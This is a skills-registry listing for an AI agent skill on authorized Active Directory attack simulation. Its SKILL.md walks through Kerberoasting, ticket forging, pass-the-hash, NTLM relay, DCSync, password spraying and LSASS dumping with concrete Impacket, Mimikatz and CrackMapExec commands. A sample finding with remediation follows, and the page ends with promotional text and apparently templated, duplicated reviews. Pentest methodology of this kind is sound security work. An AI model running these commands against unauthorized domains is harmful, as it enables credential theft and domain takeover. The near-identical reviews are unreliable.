executing-active-directory-attack-simulation

mukul975/Anthropic-Cybersecurity-Skills · updated May 25, 2026

MDX-style export adds YAML metadata + attribution linking explainx.ai and this canonical listing URL.

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/executing-active-directory-attack-simulation
0 commentsdiscussion
summary

Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment.

skill.md
name
executing-active-directory-attack-simulation
description
'Executes authorized attack simulations against Active Directory environments to identify misconfigurations, weak credentials, dangerous privilege paths, and exploitable trust relationships that could lead to domain compromise. The tester uses BloodHound for attack path analysis, Mimikatz for credential extraction, and Impacket for protocol-level attacks including Kerberoasting, AS-REP Roasting, and delegation abuse. Activates for requests involving Active Directory pentest, AD attack simulation, domain compromise testing, or Kerberos attack assessment. '
domain
cybersecurity
subdomain
penetration-testing
tags
- Active-Directory - BloodHound - Mimikatz - Kerberoasting - domain-compromise
version
1.0.0
author
mahipal
license
Apache-2.0
d3fend_techniques
- Application Protocol Command Analysis - Network Isolation - Network Traffic Analysis - Client-server Payload Profiling - Network Traffic Community Deviation
nist_csf
- ID.RA-01 - ID.RA-06 - GV.OV-02 - DE.AE-07

Executing Active Directory Attack Simulation

When to Use

  • Assessing the security of an Active Directory domain and forest against common and advanced attack techniques
  • Identifying attack paths from low-privilege domain user to Domain Admin using privilege relationship analysis
  • Validating that Kerberos security configurations, credential policies, and delegation settings resist known attacks
  • Testing detection capabilities of the SOC and EDR tools against Active Directory-specific TTPs
  • Evaluating the effectiveness of tiered administration models and privileged access workstations

Do not use without explicit written authorization from the domain owner, against production domain controllers during business hours unless approved, or for testing that could cause account lockouts affecting real users without prior coordination.

Prerequisites

  • Written authorization specifying the target AD domain, testing constraints, and any off-limits accounts or systems
  • Low-privilege domain user account (minimum starting point) to simulate realistic attacker position
  • Testing workstation joined to the domain or network access to domain controllers on ports 88, 135, 139, 389, 445, 636, 3268, 3269
  • BloodHound Community Edition or Enterprise with SharpHound/AzureHound collectors
  • Impacket toolkit, Mimikatz (or pypykatz), Rubeus, and CrackMapExec installed on the attack platform
  • Hashcat or John the Ripper with current wordlists (rockyou.txt, SecLists) for offline credential cracking

Workflow

Step 1: Active Directory Reconnaissance

Enumerate the AD environment from a low-privilege domain user position:

  • Domain enumeration: Get-ADDomain or crackmapexec smb <dc_ip> -u <user> -p <pass> --domains to identify domain name, functional level, domain controllers, and forest trusts
  • User enumeration: Get-ADUser -Filter * -Properties ServicePrincipalName,AdminCount,PasswordLastSet to identify service accounts, privileged accounts, and stale passwords
  • Group enumeration: Map membership of high-value groups (Domain Admins, Enterprise Admins, Schema Admins, Account Operators, Backup Operators) using net group "Domain Admins" /domain
  • GPO enumeration: Get-GPO -All | Get-GPOReport -ReportType XML to identify Group Policy configurations including password policies, audit settings, and software deployment
  • Trust enumeration: nltest /domain_trusts /all_trusts to map inter-domain and inter-forest trusts, noting trust direction and transitivity
  • LDAP queries: Use ldapsearch or ADExplorer to search for accounts with userAccountControl flags indicating "password never expires", "password not required", or "DES-only Kerberos"

Step 2: BloodHound Attack Path Analysis

Collect and analyze AD relationship data to identify the shortest paths to Domain Admin:

  • Run SharpHound collector: SharpHound.exe -c All,GPOLocalGroup --outputdirectory C:\temp\ to collect users, groups, sessions, ACLs, trusts, and GPO data
  • Import the JSON output into BloodHound and run built-in queries:
    • "Shortest Paths to Domain Admins from Owned Principals"
    • "Find Principals with DCSync Rights"
    • "Find Computers where Domain Users are Local Admin"
    • "Shortest Paths to Unconstrained Delegation Systems"
    • "Find All Paths from Kerberoastable Users"
  • Mark the compromised user as "owned" in BloodHound and analyze the resulting attack paths
  • Identify ACL-based attack paths: GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword on high-value objects
  • Document each identified attack path with the chain of relationships and affected objects

Step 3: Kerberos Attacks

Execute Kerberos-based attacks against identified vulnerable accounts:

  • Kerberoasting: Request TGS tickets for accounts with SPNs: impacket-GetUserSPNs <domain>/<user>:<pass> -dc-ip <dc_ip> -request -outputfile kerberoast.hashes. Crack offline with hashcat -m 13100 kerberoast.hashes /usr/share/wordlists/rockyou.txt
  • AS-REP Roasting: Target accounts without Kerberos pre-authentication: impacket-GetNPUsers <domain>/ -dc-ip <dc_ip> -usersfile users.txt -format hashcat -outputfile asrep.hashes. Crack with hashcat -m 18200 asrep.hashes /usr/share/wordlists/rockyou.txt
  • Silver Ticket: If a service account's NTLM hash is cracked, forge a TGS ticket for that service using impacket-ticketer -nthash <hash> -domain-sid <sid> -domain <domain> -spn <service/host> <username>
  • Golden Ticket: If the krbtgt hash is obtained (post-domain compromise), forge a TGT: mimikatz "kerberos::golden /user:Administrator /domain:<domain> /sid:<sid> /krbtgt:<hash> /ticket:golden.kirbi"
  • Unconstrained Delegation abuse: Identify computers with unconstrained delegation. Coerce authentication from a Domain Controller using PrinterBug or PetitPotam, then capture the DC's TGT from memory.

Step 4: Credential Attacks and Lateral Movement

Exploit harvested credentials to move through the domain:

  • Pass-the-Hash: impacket-psexec <domain>/<user>@<target> -hashes <LM:NTLM> to execute commands on systems where the compromised account has local admin
  • Pass-the-Ticket: export KRB5CCNAME=ticket.ccache && impacket-psexec <domain>/<user>@<target> -k -no-pass to use captured or forged Kerberos tickets
  • NTLM Relay: Configure impacket-ntlmrelayx -t ldap://<dc_ip> --escalate-user <user> and coerce authentication to relay NTLM credentials for privilege escalation
  • DCSync: If DCSync rights are obtained (Replicating Directory Changes): impacket-secretsdump <domain>/<user>:<pass>@<dc_ip> -just-dc-ntlm to dump all domain password hashes
  • Password spraying: crackmapexec smb <dc_ip> -u users.txt -p 'Winter2025!' --no-bruteforce testing one password across all accounts to avoid lockouts
  • LSASS dump: On compromised hosts, extract credentials from LSASS memory using mimikatz "sekurlsa::logonpasswords" or procdump -ma lsass.exe lsass.dmp followed by offline extraction

Step 5: Privilege Escalation to Domain Admin

Chain discovered attack paths to escalate from low-privilege user to Domain Admin:

  • Follow the shortest path identified in BloodHound by executing each relationship (e.g., GenericWrite on a user -> set SPN -> Kerberoast -> crack password -> user is member of a group with WriteDACL on Domain Admins -> grant self membership)
  • Exploit Group Policy Preferences (GPP) passwords if found: crackmapexec smb <dc_ip> -u <user> -p <pass> -M gpp_autologon
  • Target LAPS (Local Administrator Password Solution) if deployed: query LAPS passwords with Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd
  • Abuse certificate services (AD CS) with Certipy: certipy find -vulnerable -u <user>@<domain> -p <pass> -dc-ip <dc_ip> to find exploitable certificate templates (ESC1-ESC8)
  • Document the complete attack chain from initial user to Domain Admin with every credential, tool, and technique used

Key Concepts

TermDefinition
KerberoastingRequesting Kerberos TGS tickets for accounts with Service Principal Names and cracking them offline to recover the service account's plaintext password
AS-REP RoastingRequesting Kerberos AS-REP responses for accounts without pre-authentication enabled and cracking the encrypted timestamp offline
DCSyncUsing Directory Replication Service privileges (DS-Replication-Get-Changes-All) to replicate password data from a domain controller, mimicking the behavior of a DC
BloodHoundGraph-based Active Directory analysis tool that maps privilege relationships and identifies attack paths from any user to high-value targets like Domain Admin
Unconstrained DelegationA Kerberos delegation configuration where a service can impersonate any user to any other service, allowing TGT capture from connecting users
Pass-the-HashAuthentication technique using an NTLM hash directly instead of the plaintext password, exploiting Windows NTLM authentication
AD CS AbuseExploiting misconfigured Active Directory Certificate Services templates to request certificates that grant elevated privileges or impersonate other users
NTLM RelayForwarding captured NTLM authentication to a different service to authenticate as the victim, effective when SMB signing is not enforced

Tools & Systems

  • BloodHound: Attack path analysis tool that ingests AD data collected by SharpHound to visualize and identify privilege escalation paths through object relationships
  • Impacket: Python toolkit for network protocol interactions including Kerberos attacks (GetUserSPNs, GetNPUsers), credential dumping (secretsdump), and remote execution (psexec, wmiexec)
  • Mimikatz: Post-exploitation tool for extracting plaintext credentials, NTLM hashes, and Kerberos tickets from Windows memory (LSASS process)
  • CrackMapExec: Multi-protocol attack tool for Active Directory environments supporting SMB, LDAP, WinRM, and MSSQL with built-in modules for password spraying and enumeration
  • Certipy: Python tool for enumerating and exploiting Active Directory Certificate Services (AD CS) misconfigurations

Common Scenarios

Scenario: Domain Compromise Assessment for a Healthcare Organization

Context: A hospital network with a single Active Directory forest containing 5,000 user accounts, 800 computer objects, and 15 domain controllers across 3 sites. The tester starts with a single low-privilege domain user account. The goal is to determine if an attacker with stolen employee credentials could escalate to Domain Admin.

Approach:

  1. Run SharpHound to collect AD relationship data and import into BloodHound
  2. BloodHound reveals a path: owned user -> member of IT-Support group -> GenericAll on SVC-SQL account -> SVC-SQL has SPN -> Kerberoast -> SVC-SQL is local admin on DB-SERVER-01 -> DB-SERVER-01 has a Domain Admin session
  3. Kerberoast SVC-SQL, crack the weak password (Summer2023!) in 12 minutes using hashcat
  4. Use SVC-SQL credentials to access DB-SERVER-01 via psexec
  5. Extract Domain Admin credentials from LSASS memory on DB-SERVER-01
  6. Validate domain compromise by performing DCSync to dump all domain hashes
  7. Report the complete attack chain with remediation: set 25+ character passwords on service accounts, enable AES-only Kerberos encryption, remove unnecessary local admin rights, implement tiered administration

Pitfalls:

  • Running SharpHound with noisy collection methods during peak hours, alerting the SOC via excessive LDAP queries
  • Password spraying without checking the domain lockout policy first, locking out hundreds of accounts
  • Forgetting to test for AD CS vulnerabilities which often provide the fastest path to Domain Admin
  • Not checking for stale computer accounts that may still have cached credentials or active sessions

Output Format

## Finding: Service Account Vulnerable to Kerberoasting with Weak Password

**ID**: AD-002
**Severity**: Critical (CVSS 9.1)
**Affected Object**: [email protected] (Service Account)
**Attack Technique**: MITRE ATT&CK T1558.003 - Kerberoasting

**Description**:
The service account SVC-SQL has a Service Principal Name (MSSQLSvc/db-server-01.corp.example.com:1433)
registered in Active Directory and uses a weak password that was cracked in 12 minutes
using hashcat with the rockyou.txt wordlist. This account has local administrator
privileges on DB-SERVER-01, which had an active Domain Admin session at the time of
testing.

**Attack Chain**:
1. Requested TGS ticket: impacket-GetUserSPNs corp.example.com/testuser:password -request
2. Cracked hash: hashcat -m 13100 hash.txt rockyou.txt (cracked in 12m: Summer2023!)
3. Lateral movement: impacket-psexec corp.example.com/SVC-SQL:Summer2023!@db-server-01
4. Credential extraction: mimikatz sekurlsa::logonpasswords -> Domain Admin NTLM hash

**Impact**:
Complete domain compromise from a single low-privilege domain user account. An attacker
could access all 5,000 user accounts, 800 computer objects, and all data within the domain.

**Remediation**:
1. Set a 25+ character randomly generated password for SVC-SQL and all service accounts
2. Migrate to Group Managed Service Accounts (gMSA) which rotate 120-character passwords automatically
3. Enable AES256 encryption for Kerberos and disable RC4 (DES) encryption
4. Remove SVC-SQL from local administrator groups on DB-SERVER-01
5. Implement Protected Users group for privileged accounts to prevent credential caching
6. Deploy Microsoft Defender for Identity to detect Kerberoasting and DCSync attacks
how to use executing-active-directory-attack-simulation

How to use executing-active-directory-attack-simulation on Cursor

AI-first code editor with Composer

1

Prerequisites

Before installing skills in Cursor, ensure your development environment meets these requirements:

  • Cursor installed and configured on your development machine
  • Node.js version 16.0+ with npm package manager (verify with node --version)
  • Active project directory or workspace where you want to add executing-active-directory-attack-simulation
2

Execute installation command

Execute the skills CLI command in your project's root directory to begin installation:

$npx skills install mukul975/Anthropic-Cybersecurity-Skills/executing-active-directory-attack-simulation

The skills CLI fetches executing-active-directory-attack-simulation from GitHub repository mukul975/Anthropic-Cybersecurity-Skills and configures it for Cursor.

3

Select Cursor when prompted

The CLI will show a list of available agents. Use arrow keys to navigate and space to select Cursor:

◆ Which agents do you want to install to?
│ ── Universal (.agents/skills) ── always included ────
│ • Amp
│ • Antigravity
│ • Cline
│ • Codex
│ ●Cursor(selected)
│ • Cursor
│ • Windsurf
4

Verify installation

Confirm successful installation by checking the skill directory location:

.cursor/skills/executing-active-directory-attack-simulation

Reload or restart Cursor to activate executing-active-directory-attack-simulation. Access the skill through slash commands (e.g., /executing-active-directory-attack-simulation) or your agent's skill management interface.

Security & Verification Notice

We perform automated surface-level scans (Gen AI Scanner, Socket, Snyk) during installation. These checks detect common vulnerabilities but do not guarantee complete security. Always review skill source code and verify the publisher's reputation before production use.

Skills execute code in your development environment. Always verify the publisher's identity, review recent commits, and test in isolated environments before production deployment.

List & Monetize Your Skill

Submit your Claude Code skill and start earning

GET_STARTED →

Use Cases

Task Automation & Efficiency

Automate repetitive workflows and reduce manual effort

Example

Generate reports, summarize documents, draft communications

Save 3-5 hours per week on routine tasks

Knowledge Enhancement

Learn new skills, understand complex topics, get expert guidance

Example

Explain concepts, provide examples, suggest learning resources

Accelerate learning and skill development by 2x

Quality Improvement

Enhance output quality through reviews, suggestions, and refinements

Example

Review drafts, suggest improvements, catch errors

Improve work quality by 30-40% with less effort

Implementation Guide

Prerequisites

  • Claude Desktop or compatible AI client with skill support
  • Clear understanding of task or problem to solve
  • Willingness to iterate and refine outputs

Time Estimate

15-45 minutes depending on use case complexity

Installation Steps

  1. 1.Install skill using provided installation command
  2. 2.Test with simple use case relevant to your work
  3. 3.Evaluate output quality and relevance
  4. 4.Iterate on prompts to improve results
  5. 5.Integrate into regular workflow if valuable

Common Pitfalls

  • Expecting perfect results without iteration
  • Not providing enough context in prompts
  • Using skill for tasks outside its intended scope
  • Accepting outputs without review and validation

Best Practices

✓ Do

  • +Start with clear, specific prompts
  • +Provide relevant context and constraints
  • +Review and refine all outputs before using
  • +Iterate to improve output quality
  • +Document successful prompt patterns

✗ Don't

  • Don't use without understanding skill limitations
  • Don't skip validation of outputs
  • Don't share sensitive information in prompts
  • Don't expect skill to replace human judgment

💡 Pro Tips

  • Be specific about desired format and style
  • Ask for multiple options to choose from
  • Request explanations to understand reasoning
  • Combine AI efficiency with human expertise

When to Use This

✓ Use When

Use when skill capabilities match your task, clear ROI on time saved, and you can validate outputs. Best for repetitive tasks, learning, and quality improvement.

✗ Avoid When

Avoid when task requires deep expertise you can't validate, involves sensitive decisions, or when learning process is more valuable than speed of completion.

Learning Path

  1. 1Familiarize yourself with skill capabilities and limitations
  2. 2Start with low-risk, non-critical tasks
  3. 3Progress to more complex and valuable use cases
  4. 4Build expertise through regular use and experimentation

Discussion

Product Hunt–style comments (not star reviews)
  • No comments yet — start the thread.
general reviews

Ratings

4.674 reviews
  • Kwame Ramirez· Dec 24, 2024

    executing-active-directory-attack-simulation has been reliable in day-to-day use. Documentation quality is above average for community skills.

  • Kaira Patel· Dec 8, 2024

    Solid pick for teams standardizing on skills: executing-active-directory-attack-simulation is focused, and the summary matches what you get after install.

  • Min Anderson· Nov 27, 2024

    I recommend executing-active-directory-attack-simulation for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

  • Nikhil Flores· Nov 19, 2024

    executing-active-directory-attack-simulation fits our agent workflows well — practical, well scoped, and easy to wire into existing repos.

  • Ama Kapoor· Nov 15, 2024

    Useful defaults in executing-active-directory-attack-simulation — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Xiao Huang· Oct 18, 2024

    Useful defaults in executing-active-directory-attack-simulation — fewer surprises than typical one-off scripts, and it plays nicely with `npx skills` flows.

  • Nikhil Malhotra· Oct 10, 2024

    We added executing-active-directory-attack-simulation from the explainx registry; install was straightforward and the SKILL.md answered most questions upfront.

  • Emma Okafor· Oct 6, 2024

    I recommend executing-active-directory-attack-simulation for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

  • Emma Sanchez· Sep 25, 2024

    executing-active-directory-attack-simulation reduced setup friction for our internal harness; good balance of opinion and flexibility.

  • Oshnikdeep· Sep 21, 2024

    I recommend executing-active-directory-attack-simulation for anyone iterating fast on agent tooling; clear intent and a small, reviewable surface area.

showing 1-10 of 74

1 / 8